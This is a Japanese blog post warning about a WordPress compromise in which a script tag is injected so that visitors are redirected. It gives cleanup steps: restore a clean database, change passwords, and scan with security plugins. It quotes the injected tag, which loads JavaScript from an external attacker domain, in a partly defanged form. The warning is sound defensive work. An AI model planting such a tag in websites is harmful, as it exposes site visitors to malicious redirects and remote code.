【ご注意】WordPressの不正コード改ざん
2022/03/25
WordPressを狙った不正コードによる下記動画のような改ざんが横行しているようです。
下記内容のスクリプトが埋め込まれており、アクセスした人が別ページに飛ばされるといった類のもののようです。
<script type=’text/javascript’ src=’https://sdb.dancewithme.biz/db.js’></script>
※sは故意に全角に変えております
改ざんされた場合は下記の手順で修正してください。
データベース周り
まず、データベースのバックアップをし、データベースの中に入っている不正コードを削除します。
削除したデータをデータベースに戻し、データベースのパスワードも変更しておきましょう。
WordPressでのチェック
まずログインユーザーのパスワードを変更します。
その後、Wordfence Securityプラグインをインストールします。
チェック後異常箇所を変更します。
Sucuri Securityも使ってスクリプトのスキャンをかけておいたほうが良いでしょう。
皆様、ご注意ください。
関連記事
-
-
Sugar Events Calendar Lite 中国語化
以前のブログの再掲載です(なくなると困る記事なので・・・) Sugar Even …
-
-
WordPressで勝手に画像リサイズされる
いつもの防備録です。 本当に間抜けな話なんですが、これってほぼ間違 …
-
-
マルチサイトで複数のブログの新着情報を取得したい
WordPressでマルチサイトの新着情報を取りたいなーと思うことがあったのでメ …
-
-
ページ転送したい時に「Redirection」!
ワードプレスの記事で、「別ページに即座に飛んで欲しい」とか、「このページ見せたく …
-
-
ショートコードの出力結果が固定ページや投稿の上部に表示される
またもやWordPress覚書。もはやメモ帳代わり。 固定ページなどの途中でPH …
-
-
WordPress 不正アクセスとの飽くなき戦い
不正アクセス・・・それはWEB黎明期から行われてきた悪しき犯罪。 これらと日々戦 …
-
-
WordPressでよく使う新着記事表示のコード
ほんとによく使うので覚え書き。 ちなみにマルチサイトをまたがって新着を取得する場 …
-
-
子カテゴリに親カテゴリのテンプレートを引き継がせる
WordPressって基本的に親カテゴリを指定すると、それにぶら下がっている子カ …
-
-
カスタム投稿を使うときのメモメモφ(..)
カスタム投稿タイプとは 通常の「投稿」「固定ページ」等とは違うタイプの投稿方法。 …
-
-
テーマの自動アップデートがイヤな場合は
最近梅の花がとってもきれいに咲いてますね。 春の訪れを感じながら仕事に追われる「 …